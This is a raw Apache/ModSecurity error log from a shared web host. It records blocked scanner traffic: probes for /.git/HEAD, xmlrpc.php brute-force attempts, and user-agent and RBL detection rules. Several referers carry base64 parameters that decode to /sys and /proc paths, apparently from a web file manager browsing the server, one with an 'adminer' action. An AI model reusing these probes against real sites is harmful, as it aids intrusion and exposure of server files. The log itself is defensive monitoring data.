https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ2 [Sat Jun 13 18:22:36.747304 2026] [security2:error] [pid 715691:tid 715798] [remote 17.246.23.68:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 68.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30TLV-dFiaX9AtWiQcLAABQFc"] [Sat Jun 13 18:22:36.822354 2026] [core:error] [pid 646876:tid 647086] [client 134.22.47.202:58204] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: http://50-87-31-154.unifiedlayer.com/ [Sat Jun 13 18:22:36.822378 2026] [core:error] [pid 646876:tid 647086] [client 134.22.47.202:58204] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: http://50-87-31-154.unifiedlayer.com/ [Sat Jun 13 18:22:37.256378 2026] [access_compat:error] [pid 715691:tid 715835] [remote 57.141.14.36:53332] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:37.256844 2026] [access_compat:error] [pid 715691:tid 715835] [remote 57.141.14.36:53332] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:37.257976 2026] [access_compat:error] [pid 646876:tid 646972] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0NA== [Sat Jun 13 18:22:37.258546 2026] [access_compat:error] [pid 646876:tid 646972] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0NA== [Sat Jun 13 18:22:37.699714 2026] [access_compat:error] [pid 646876:tid 646946] [remote 57.141.14.49:61907] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:37.699997 2026] [access_compat:error] [pid 646876:tid 646946] [remote 57.141.14.49:61907] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:37.700906 2026] [security2:error] [pid 715691:tid 715827] [remote 17.246.19.157:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 157.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30TbV-dFiaX9AtWiQcUwABHHQ"] [Sat Jun 13 18:22:37.703888 2026] [access_compat:error] [pid 646876:tid 646917] [remote 57.141.14.63:38680] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:37.704342 2026] [access_compat:error] [pid 646876:tid 646917] [remote 57.141.14.63:38680] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:37.758885 2026] [access_compat:error] [pid 715691:tid 715796] [remote 57.141.14.49:61915] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:37.759341 2026] [access_compat:error] [pid 715691:tid 715796] [remote 57.141.14.49:61915] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:37.817559 2026] [access_compat:error] [pid 646876:tid 646989] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZS9tb3VzZTE= [Sat Jun 13 18:22:37.817865 2026] [access_compat:error] [pid 646876:tid 646989] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL21vdXNlMS9kZXZpY2UvZXZlbnQ0L2RldmljZS9tb3VzZTE= [Sat Jun 13 18:22:37.883414 2026] [security2:error] [pid 646876:tid 647046] [client 45.130.203.196:56137] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "website-147f5518.nucreativesolutions.com"] [uri "/.git/HEAD"] [unique_id "ai30TdyTkdrNlD40tSHOVQAAACY"] [Sat Jun 13 18:22:37.969484 2026] [security2:error] [pid 646876:tid 647130] [client 45.130.203.202:51687] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "website-b0619296.nucreativesolutions.com"] [uri "/.git/HEAD"] [unique_id "ai30TdyTkdrNlD40tSHOWQAAAHo"] [Sat Jun 13 18:22:37.997485 2026] [security2:error] [pid 646876:tid 647069] [client 45.130.203.180:27959] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "www.website-147f5518.nucreativesolutions.com"] [uri "/.git/HEAD"] [unique_id "ai30TdyTkdrNlD40tSHOWgAAAD0"] [Sat Jun 13 18:22:38.063029 2026] [security2:error] [pid 646876:tid 647026] [client 45.130.203.233:58757] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "www.website-b0619296.nucreativesolutions.com"] [uri "/.git/HEAD"] [unique_id "ai30TtyTkdrNlD40tSHOXgAAABI"] [Sat Jun 13 18:22:38.168939 2026] [security2:error] [pid 715691:tid 715716] [remote 17.22.237.32:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 32.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30TrV-dFiaX9AtWiQcawABQwY"] [Sat Jun 13 18:22:38.335997 2026] [access_compat:error] [pid 646876:tid 646934] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:22:38.336278 2026] [access_compat:error] [pid 646876:tid 646934] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQxL3Bvd2Vy [Sat Jun 13 18:22:38.727713 2026] [core:error] [pid 715691:tid 715851] [client 23.226.211.25:8312] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: http://www.unifiedlayer.com/ [Sat Jun 13 18:22:38.727742 2026] [core:error] [pid 715691:tid 715851] [client 23.226.211.25:8312] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: http://www.unifiedlayer.com/ [Sat Jun 13 18:22:38.753734 2026] [access_compat:error] [pid 646876:tid 646916] [remote 57.141.14.17:50540] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:38.753996 2026] [access_compat:error] [pid 646876:tid 646916] [remote 57.141.14.17:50540] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:38.781114 2026] [access_compat:error] [pid 646876:tid 646885] [remote 74.7.227.22:54308] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2N3ZA== [Sat Jun 13 18:22:38.781402 2026] [access_compat:error] [pid 646876:tid 646885] [remote 74.7.227.22:54308] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkwL2N3ZA== [Sat Jun 13 18:22:38.822096 2026] [security2:error] [pid 715691:tid 715777] [remote 17.22.245.147:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 147.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30TrV-dFiaX9AtWiQchAABEkI"] [Sat Jun 13 18:22:38.876256 2026] [access_compat:error] [pid 646876:tid 646944] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:22:38.876716 2026] [access_compat:error] [pid 646876:tid 646944] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:22:38.878445 2026] [access_compat:error] [pid 715691:tid 715815] [remote 57.141.14.113:20800] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:38.881347 2026] [access_compat:error] [pid 715691:tid 715815] [remote 57.141.14.113:20800] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:39.017467 2026] [access_compat:error] [pid 646876:tid 646971] [remote 57.141.14.52:28006] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:39.017932 2026] [access_compat:error] [pid 646876:tid 646971] [remote 57.141.14.52:28006] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:39.185577 2026] [security2:error] [pid 646876:tid 646896] [remote 74.7.227.22:54308] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai30T9yTkdrNlD40tSHOcwAAWhE"], referer: https://mail.homs.co.ke/?action=adminer&p=L3Byb2MvNTMxNDkwL2N3ZA== [Sat Jun 13 18:22:39.209306 2026] [security2:error] [pid 646876:tid 647080] [client 216.73.216.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/bug39782.phpt"] [unique_id "ai30T9yTkdrNlD40tSHOdQAAAEg"] [Sat Jun 13 18:22:39.228945 2026] [security2:error] [pid 715691:tid 715745] [remote 47.128.112.5:44600] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "crictconsulting.com"] [uri "/robots.txt"] [unique_id "ai30T7V-dFiaX9AtWiQckAABRyM"] [Sat Jun 13 18:22:39.237100 2026] [security2:error] [pid 646876:tid 646900] [remote 17.241.75.219:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 219.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30T9yTkdrNlD40tSHOdwAALBU"] [Sat Jun 13 18:22:39.349476 2026] [access_compat:error] [pid 715691:tid 715820] [remote 57.141.14.26:21828] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:39.349935 2026] [access_compat:error] [pid 715691:tid 715820] [remote 57.141.14.26:21828] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:39.390966 2026] [access_compat:error] [pid 715691:tid 715729] [remote 57.141.14.103:41644] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:39.391239 2026] [access_compat:error] [pid 715691:tid 715729] [remote 57.141.14.103:41644] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:39.408132 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:22:39.408580 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:22:39.500316 2026] [security2:error] [pid 715691:tid 715959] [client 210.217.96.217:36229] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30T7V-dFiaX9AtWiQcngAAAYA"] [Sat Jun 13 18:22:39.500477 2026] [security2:error] [pid 715691:tid 715959] [client 210.217.96.217:36229] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30T7V-dFiaX9AtWiQcngAAAYA"] [Sat Jun 13 18:22:39.503285 2026] [access_compat:error] [pid 715691:tid 715818] [remote 57.141.14.39:33892] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:39.503592 2026] [access_compat:error] [pid 715691:tid 715818] [remote 57.141.14.39:33892] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:39.518420 2026] [security2:error] [pid 715691:tid 715966] [client 172.56.168.133:48545] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30T7V-dFiaX9AtWiQcnwAAAYc"] [Sat Jun 13 18:22:39.522671 2026] [security2:error] [pid 715691:tid 715966] [client 172.56.168.133:48545] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30T7V-dFiaX9AtWiQcnwAAAYc"] [Sat Jun 13 18:22:39.662419 2026] [access_compat:error] [pid 715691:tid 715789] [remote 57.141.14.30:54886] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:39.662716 2026] [access_compat:error] [pid 715691:tid 715789] [remote 57.141.14.30:54886] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:39.850055 2026] [access_compat:error] [pid 646876:tid 646981] [remote 57.141.14.71:21746] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:39.850350 2026] [access_compat:error] [pid 646876:tid 646981] [remote 57.141.14.71:21746] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:39.900424 2026] [access_compat:error] [pid 646876:tid 646886] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9tb3VzZTIvZGV2aWNlL2NhcGFiaWxpdGllcw== [Sat Jun 13 18:22:39.900890 2026] [access_compat:error] [pid 646876:tid 646886] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 